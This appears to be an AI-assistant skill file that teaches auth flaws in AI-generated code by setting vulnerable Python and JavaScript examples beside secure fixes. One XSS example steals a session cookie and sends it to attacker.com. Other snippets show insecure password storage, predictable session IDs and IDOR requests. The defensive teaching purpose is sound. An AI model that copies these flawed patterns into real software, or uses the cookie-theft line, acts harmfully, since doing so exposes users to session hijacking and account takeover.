// Understand authentication and authorization defects in AI-generated code including insecure password storage, broken session management, and access control bypasses. Use this skill when you need to learn about auth vulnerabilities in AI code, understand why AI suggests MD5/plaintext passwords, recognize broken session patterns, or identify access control gaps. Triggers include "auth vulnerabilities AI", "password storage AI", "session management", "broken access control", "authentication defects", "MD5 passwords", "session hijacking", "authorization bypass".
| name | authentication-authorization-vulnerabilities-ai-code |
| description | Understand authentication and authorization defects in AI-generated code including insecure password storage, broken session management, and access control bypasses. Use this skill when you need to learn about auth vulnerabilities in AI code, understand why AI suggests MD5/plaintext passwords, recognize broken session patterns, or identify access control gaps. Triggers include "auth vulnerabilities AI", "password storage AI", "session management", "broken access control", "authentication defects", "MD5 passwords", "session hijacking", "authorization bypass". |
A 2025 study by Databricks revealed:
"AI-generated authentication systems frequently incorporate outdated patterns and fail to implement modern security practices, creating what we call 'authentication debt' in codebases."
The research found that:
These aren't edge cases—they're the norm in AI-generated authentication code.
The most alarming finding from multiple studies is the prevalence of plaintext or weakly hashed password storage in AI-generated code.
As noted by Infisical's security team:
"AI models trained on older codebases often suggest MD5 or SHA1 for password hashing, algorithms that have been cryptographically broken for over a decade."
# Prompt: "Implement user registration with password"
import hashlib
import mysql.connector
def register_user(username, password, email):
conn = mysql.connector.connect(host='localhost', database='app')
cursor = conn.cursor()
# ❌ VULNERABLE: MD5 is cryptographically broken
password_hash = hashlib.md5(password.encode()).hexdigest()
# ❌ VULNERABLE: No salt means identical passwords have identical hashes
query = "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)"
cursor.execute(query, (username, password_hash, email))
conn.commit()
return {"status": "success", "user_id": cursor.lastrowid}
# Even worse: Some AI models generate this
def register_user_worse(username, password, email):
# ❌ CRITICAL: Storing plaintext passwords
user_data = {
"username": username,
"password": password, # Never do this!
"email": email
}
database.save(user_data)
import bcrypt
import secrets
from datetime import datetime, timedelta
def register_user_secure(username, password, email):
# ✅ SECURE: Validate password strength
if len(password) < 12:
raise ValueError("Password must be at least 12 characters")
# ✅ SECURE: Use bcrypt with cost factor 12
salt = bcrypt.gensalt(rounds=12)
password_hash = bcrypt.hashpw(password.encode('utf-8'), salt)
# ✅ SECURE: Generate secure activation token
activation_token = secrets.token_urlsafe(32)
token_expiry = datetime.utcnow() + timedelta(hours=24)
user_data = {
"username": username,
"password_hash": password_hash,
"email": email,
"activation_token": activation_token,
"token_expiry": token_expiry,
"is_active": False,
"created_at": datetime.utcnow(),
"failed_login_attempts": 0,
"last_failed_login": None
}
# Store with proper error handling
try:
user_id = database.create_user(user_data)
send_activation_email(email, activation_token)
return {"status": "success", "message": "Check email for activation"}
except IntegrityError:
return {"status": "error", "message": "Username or email already exists"}
1. Training Data from Older Code:
2. Simplicity Bias:
hashlib.md5() is simpler than bcrypt.gensalt()3. Missing Security Knowledge:
MD5 Problems:
SHA1 Problems:
What "Cryptographically Broken" Means: Not that hashes can be "decrypted" (they can't), but that:
bcrypt (Recommended):
Cost Factor:
# Cost factor = 12 (recommended)
# 2^12 = 4,096 iterations
# Makes each hash computation slower
# Attacker must do 4,096 iterations per attempt
Ashley Madison (2015):
Dropbox (2012):
LinkedIn (2012):
According to Veracode's 2024 report:
Applications using managed authentication services (like Clerk, Auth0) had 73% fewer authentication-related vulnerabilities than those with custom authentication.
Why Clerk is Secure:
Research from The Hacker News found:
"AI-generated session management code often lacks proper timeout mechanisms, secure cookie flags, and session fixation protection."
This creates multiple attack vectors for session hijacking.
// Prompt: "Implement user sessions"
const sessions = {};
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (await validateCredentials(username, password)) {
// ❌ VULNERABLE: Predictable session ID
const sessionId = Buffer.from(username + Date.now()).toString('base64');
// ❌ VULNERABLE: No expiration
sessions[sessionId] = {
username: username,
loginTime: Date.now()
};
// ❌ VULNERABLE: Missing security flags
res.cookie('sessionId', sessionId);
res.json({ success: true });
}
});
app.get('/profile', (req, res) => {
const sessionId = req.cookies.sessionId;
// ❌ VULNERABLE: No session validation or renewal
if (sessions[sessionId]) {
const userData = getUserData(sessions[sessionId].username);
res.json(userData);
}
});
1. Predictable Session IDs:
const sessionId = Buffer.from(username + Date.now()).toString('base64');
Problem:
2. No Session Expiration:
sessions[sessionId] = { username, loginTime }
Problem:
3. Missing Cookie Security Flags:
res.cookie('sessionId', sessionId);
Problem:
httpOnly: JavaScript can access (XSS steals session)secure: Sent over HTTP (man-in-the-middle)sameSite: Vulnerable to CSRF4. In-Memory Storage:
const sessions = {};
Problem:
5. No Session Validation:
if (sessions[sessionId]) { /* grant access */ }
Problem:
const crypto = require('crypto');
const redis = require('redis');
const client = redis.createClient();
// Session configuration
const SESSION_DURATION = 3600; // 1 hour in seconds
const SESSION_RENEWAL_THRESHOLD = 900; // Renew if less than 15 min remaining
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// ✅ SECURE: Rate limiting
const attempts = await getFailedAttempts(username);
if (attempts > 5) {
return res.status(429).json({ error: 'Too many failed attempts' });
}
if (await validateCredentials(username, password)) {
// ✅ SECURE: Cryptographically secure session ID
const sessionId = crypto.randomBytes(32).toString('hex');
// ✅ SECURE: Store session data in Redis with expiration
const sessionData = {
username: username,
loginTime: Date.now(),
lastActivity: Date.now(),
ipAddress: req.ip,
userAgent: req.get('user-agent')
};
await client.setex(
`session:${sessionId}`,
SESSION_DURATION,
JSON.stringify(sessionData)
);
// ✅ SECURE: Secure cookie configuration
res.cookie('sessionId', sessionId, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection
maxAge: SESSION_DURATION * 1000
});
// Clear failed attempts
await clearFailedAttempts(username);
res.json({ success: true });
} else {
await incrementFailedAttempts(username);
res.status(401).json({ error: 'Invalid credentials' });
}
});
// Middleware for session validation and renewal
async function validateSession(req, res, next) {
const sessionId = req.cookies.sessionId;
if (!sessionId) {
return res.status(401).json({ error: 'No session' });
}
const sessionData = await client.get(`session:${sessionId}`);
if (!sessionData) {
return res.status(401).json({ error: 'Invalid session' });
}
const session = JSON.parse(sessionData);
// ✅ SECURE: Validate session consistency
if (session.ipAddress !== req.ip) {
await client.del(`session:${sessionId}`);
return res.status(401).json({ error: 'Session invalidated' });
}
// ✅ SECURE: Automatic session renewal
const ttl = await client.ttl(`session:${sessionId}`);
if (ttl < SESSION_RENEWAL_THRESHOLD) {
await client.expire(`session:${sessionId}`, SESSION_DURATION);
}
// Update last activity
session.lastActivity = Date.now();
await client.setex(
`session:${sessionId}`,
SESSION_DURATION,
JSON.stringify(session)
);
req.session = session;
next();
}
app.get('/profile', validateSession, (req, res) => {
const userData = getUserData(req.session.username);
res.json(userData);
});
1. Complexity Avoidance:
2. Training Data Shortcuts:
3. Functional Focus:
Attack 1: Predictable ID Guessing
// Vulnerable session ID
sessionId = Buffer.from("john_doe" + "1704067200000").toString('base64');
// Attacker guesses:
// - Username: from public profile
// - Timestamp: login time (± few minutes)
// → Can recreate session ID
Attack 2: XSS Session Theft
// Without httpOnly flag
<script>
const sessionId = document.cookie.match(/sessionId=([^;]+)/)[1];
fetch('https://attacker.com/steal?session=' + sessionId);
</script>
// Steals session cookie via XSS
Attack 3: Session Fixation
// Attacker sets victim's session ID before login
// Victim logs in with attacker's session ID
// Attacker now logged in as victim
According to analytics from ZenCoder:
"Authorization bugs in AI-generated code are particularly dangerous because they often pass functional tests while leaving gaping security holes."
The AI frequently generates code that:
# Prompt: "Create API to fetch user documents"
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/document/<doc_id>')
@require_login # Checks if user is logged in
def get_document(doc_id):
# ❌ VULNERABLE: No authorization check
# Any logged-in user can access any document
document = db.documents.find_one({'id': doc_id})
if document:
return jsonify(document)
else:
return jsonify({'error': 'Document not found'}), 404
@app.route('/api/user/<user_id>/profile')
@require_login
def get_user_profile(user_id):
# ❌ VULNERABLE: No verification that current user can access this profile
profile = db.profiles.find_one({'user_id': user_id})
return jsonify(profile)
Authentication ≠ Authorization
Authentication: "Who are you?"
Authorization: "What can you do?"
The Vulnerability:
@app.route('/api/document/<doc_id>')
@require_login # ✓ User authenticated
def get_document(doc_id):
document = db.documents.find_one({'id': doc_id})
return jsonify(document) # ✗ But can access ANY document!
Attack:
/api/document/doc_123from flask import Flask, request, jsonify, g
from functools import wraps
import jwt
app = Flask(__name__)
def require_authorization(resource_type):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# ✅ SECURE: Extract and verify JWT token
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
g.current_user = payload
except jwt.InvalidTokenError:
return jsonify({'error': 'Invalid token'}), 401
# ✅ SECURE: Check specific permissions
if resource_type == 'document':
doc_id = kwargs.get('doc_id')
if not can_access_document(g.current_user['id'], doc_id):
return jsonify({'error': 'Access denied'}), 403
elif resource_type == 'profile':
user_id = kwargs.get('user_id')
if not can_access_profile(g.current_user['id'], user_id):
return jsonify({'error': 'Access denied'}), 403
return f(*args, **kwargs)
return decorated_function
return decorator
def can_access_document(current_user_id, doc_id):
# ✅ SECURE: Verify document ownership or sharing permissions
document = db.documents.find_one({
'id': doc_id,
'$or': [
{'owner_id': current_user_id},
{'shared_with': current_user_id},
{'is_public': True}
]
})
return document is not None
def can_access_profile(current_user_id, target_user_id):
# ✅ SECURE: Users can only access their own profile or public profiles
if current_user_id == target_user_id:
return True
# Check if target profile is public
profile = db.profiles.find_one({'user_id': target_user_id})
return profile and profile.get('is_public', False)
@app.route('/api/document/<doc_id>')
@require_authorization('document')
def get_document(doc_id):
# ✅ SECURE: Additional access logging
log_access(g.current_user['id'], 'document', doc_id)
document = db.documents.find_one({'id': doc_id})
# ✅ SECURE: Sanitize sensitive fields based on permissions
if document['owner_id'] != g.current_user['id']:
document.pop('edit_history', None)
document.pop('internal_notes', None)
return jsonify(document)
@app.route('/api/user/<user_id>/profile')
@require_authorization('profile')
def get_user_profile(user_id):
profile = db.profiles.find_one({'user_id': user_id})
# ✅ SECURE: Return different data based on access level
if g.current_user['id'] != user_id:
# Return only public fields for other users
public_fields = ['username', 'bio', 'avatar_url', 'created_at']
profile = {k: v for k, v in profile.items() if k in public_fields}
return jsonify(profile)
1. Function Over Security:
2. Test Coverage Blind Spot:
3. Decorator Misunderstanding:
@require_login seems security-relatedAttack 1: Direct Object Reference
# Vulnerable endpoint
GET /api/user/123/orders
# Attack: Change ID
GET /api/user/456/orders # Access other user's orders
Attack 2: Parameter Tampering
// Vulnerable code
app.delete('/api/post/:id', async (req, res) => {
await db.posts.delete({ id: req.params.id });
// Missing: check if current user owns this post
});
// Attack: Delete anyone's posts
DELETE /api/post/any-post-id
Attack 3: Privilege Escalation
# Vulnerable code
@app.route('/api/admin/users')
@require_login
def list_users():
return jsonify(db.users.find()) # Missing: check if user is admin
For this Next.js project, use Clerk instead of building custom auth:
// app/api/protected/route.ts
import { auth } from '@clerk/nextjs/server';
import { handleUnauthorizedError, handleForbiddenError } from '@/lib/errorHandler';
export async function GET(request: NextRequest) {
// ✅ SECURE: Clerk handles authentication
const { userId } = await auth();
if (!userId) {
return handleUnauthorizedError();
}
// ✅ SECURE: Check authorization (ownership)
const document = await db.documents.findOne({ id: docId });
if (document.userId !== userId) {
return handleForbiddenError('You do not have access to this document');
}
return NextResponse.json({ document });
}
What Clerk Provides:
→ See auth-security skill for complete Clerk implementation guide
| Vulnerability | AI Occurrence Rate | Impact |
|---|---|---|
| Weak password hashing (MD5/SHA1) | 81% | Credential theft |
| Plaintext password storage | ~15% | Critical breach |
| No session expiration | 73% | Indefinite access |
| Missing cookie security flags | ~80% | XSS/CSRF/MITM |
| Predictable session IDs | ~40% | Session hijacking |
| Missing authorization checks | ~60% | Access control bypass |
Source: Databricks 2025 AI Security Study, Veracode 2024 Report
→ auth-security skill - Use Clerk for secure authentication
→ error-handling skill - Handle auth errors (401, 403)
→ security-testing skill - Test authentication and authorization
→ information-leakage skill - Credentials in logs
→ injection-vulnerabilities skill - Auth bypass via SQL injection
→ awareness-overview skill - Overall AI security risks
✅ 81% of AI auth code stores passwords insecurely ✅ 73% lacks proper session management ✅ Authentication ≠ Authorization - AI often checks one, not both ✅ Real-world breaches prove custom auth is high-risk ✅ Solution: Use Clerk (73% fewer vulnerabilities) ✅ Testing: Verify ownership checks before allowing access
Remember: Building secure authentication takes 2-4 weeks for experts. For vibe coders: use Clerk, not custom code.
Related References:
[9] Databricks. (2025). "Passing the Security Vibe Check: The Dangers of Vibe Coding." [10] Infisical. (2025). "A Vibe Coding Security Playbook: Keeping AI-Generated Code Safe." [11] The Hacker News. (2025). "Secure Vibe Coding: The Complete New Guide." [12] ZenCoder. (2025). "5 Vibe Coding Risks and Ways to Avoid Them in 2025."